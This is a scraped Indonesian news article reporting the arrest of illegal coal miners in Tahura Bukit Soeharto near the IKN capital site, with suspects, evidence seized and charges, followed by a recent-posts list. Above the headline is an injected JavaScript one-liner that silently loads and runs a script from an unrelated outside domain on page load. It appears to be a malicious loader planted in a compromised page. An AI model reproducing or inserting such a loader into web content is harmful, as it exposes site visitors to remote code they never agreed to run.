(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Gakkum KLHK Tangkap Penambang Batu Bara Ilegal di IKN Nusantara


KANALKALIMANTAN.COM – Direktorat Jenderal Penegakan Hukum Kementerian Lingkungan Hidup dan Kehutanan (Ditjen Gakkum KLHK) menetapkan tiga orang tersangka penambangan batu bara ilegal di sekitar lokasi Ibu Kota Negara (IKN). Aksi itu mereka lakukan tepatnya di Km 43 Taman Hutan Raya Bukit Soeharto, Samboja, Kutai Kartanegara (Kukar).

Tiga orang tersangka tersebut diamankan melalui operasi penindakan tambang ilegal di Taman Hutan Raya (Tahura) Bukit Soeharto, Minggu (21/3/2022), pukul 00.00 Wita. Hal itu disampaikan Kepala Balai Gakkum KLHK Wilayah Kalimantan Eduar Hutapea, Kamis (24/3/2022).

Pada operasi tersebut, tim Gakkum KLHK berhasil mengamankan 11 orang terduga pelaku inisial M (60), ES (38), ES (34), AS (27), H (42), J (52), MS (42), Y (50), R (56), AJ (44), dan IS (35) beserta barang bukti berupa dua unit ekskavator merek LiuGong/Sany PC 200 Ex-75 warna kuning, satu buah buku catatan motif batik warna biru, dua buah buku Nota Kontan merek Borneo warna biru, satu buah buku catatan motif batik merek Kiky warna cokelat, dan satu kantong sampel batu bara.

Ia mengatakan, dari 11 orang yang diamankan pada akhirnya penyidik telah menetapkan 3 orang tersangka. Yaitu, M (60) yang bertempat tinggal di Balikpapan selaku penanggung jawab (koordinator) lapangan, ES (38) yang bertempat tinggal di Kukar, dan ES (34) yang bertempat tinggal juga di Kukar selaku operator alat berat ekskavator.

 

 

Baca juga: KRONOLOGI. Kecelakaan Beruntun, Kasat Lantas Tegaskan Bukan Rombongan KLHK dan Kegiatan W20

“Tersangka diduga melanggar Pasal 89 ayat (1) huruf b dan/atau a jo Pasal 17 ayat (1) huruf a dan/atau b Undang Nomor 18 Tahun 2013 tentang Pencegahan dan Pemberantasan Perusakan Hutan jo Pasal 37 angka 5 UU Nomor 11 Tahun 2020 tentang Cipta Kerja dengan ancaman hukuman penjara maksimum 15 tahun dan denda Rp10 miliar,” katanya pula.

Ia mengatakan, saat ini para tersangka ditahan di Rutan Polres Tenggarong, sedangkan barang bukti berupa dua unit ekskavator merek LiuGong/Sany PC 200 Ex-75 warna kuning, satu buah buku catatan motif batik warna biru, dua buah buku Nota Kontan merek Borneo warna biru, satu buah buku catatan motif batik merek Kiky warna cokelat, 1 unit dumptruck merek HINO Nomor Polisi KT 8713 OS warna hijau, dan satu kantong sampel batu bara diamankan di Kantor Balai Gakkum LHK Wilayah Kalimantan Samarinda.

Direktur Jenderal Penegakan Hukum KLHK Rasio Ridho Sani mengatakan kegiatan operasi penindakan ini merupakan komitmen KLHK untuk mengamankan lingkungan hidup dan kawasan hutan pada zona Ibu Kota Negara (IKN) Nusantara.

Menurutnya, penambangan batu bara ilegal ini telah mengakibatkan kerusakan lingkungan hidup dan hutan, mengancam kehidupan masyarakat, serta menimbulkan kerugian negara.

Ia menegaskan, kejahatan ini harus kami tindak tegas, apabila ini terus terjadi akan menimbulkan ancaman bencana ekologis, keselamatan masyarakat serta mengancam keanekaragaman hayati. Ia mengaku, pihaknya akan terus meningkatkan pengamanan kawasan hutan di zona IKN dan sekitarnya.

Baca juga: Tabrakan Beruntun Mobil Pelat Merah, Ternyata Mobdin DLH Kalsel Iring-iringan Menuju Tahura Sultan Adam

“Kami telah diperintahkan Menteri LHK Dr Siti Nurbaya untuk meningkatkan pengamanan lingkungan hidup dan kawasan hutan di zona IKN guna mendukung pembangunan forest city di IKN Nusantara,” kata Rasio Ridho Sani.

Dalam pengembangan kasus ini, kata Rasio Ridho Sani lagi, pihaknya sudah memerintahkan penyidik untuk mengungkap keterlibatan pihak-pihak lain, baik pemodal, penadah hasil tambang ilegal serta pihak lain yang terlibat dalam aktivitas penambangan batu bara ilegal di kawasan Tahura Bukit Soeharto.

Ia menyatakan pula, mengingat mereka telah merusak lingkungan hidup dan kawasan hutan, mengancam kehidupan masyarakat, dan merugikan negara, pelaku kejahatan ini apalagi pemodal dihukum seberat-beratnya, agar ada efek jera.

“Saya juga sudah memerintahkan penyidik untuk berkoordinasi dengan PPATK untuk mendalami aliran keuangan dari kejahatan ini, guna penegakan hukum tindak pidana pencucian uang,” tandasnya. (Kanalkalimantan.com/Suara.com)

Editor : kk


Risa

Recent Posts

Tim Sepakbola HSU Siap Berlaga di Kejurprov Kalsel 2025

KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani melepas tim sepakbola HSU berlaga… Read More

23 menit ago

Bupati Kapuas Trail Adventure 3 Segera Hadir, Meriahkan Hari Jadi ke-219 Kota Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Para pecinta adventure dengan menggunakan motor trail boleh bergembira. Pasalnya, Kapuas… Read More

12 jam ago

DPRD Kapuas Rapat Paripurna Pemandangan Fraksi Terkait Pemekaran Kecamatan

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat paripurna ke… Read More

13 jam ago

Pasca PSU,  Emi Lasari: Lapang Dada, Kembali Bersatu Membangun Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Pasca gelaran Pemungutan Suara Ulang (PSU) Pemilihan Wali Kota dan Wakil Wali… Read More

13 jam ago

Harapan Besar Wakil Rakyat di Momentum Hari Jadi ke-26 Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Harapan disampaikan wakil rakyat yang duduk DPRD Kota Banjarbaru dalam momen peringatan… Read More

15 jam ago

Tim Hanyar Banjarbaru Ajukan Pembatalan Hasil PSU ke MK

KANALKALIMANTAN.COM, BANJARBARU - Tak sampai tiga hari setelah Komisi Pemilihan Umum (KPU) Kalimantan Selatan (Kalsel)… Read More

15 jam ago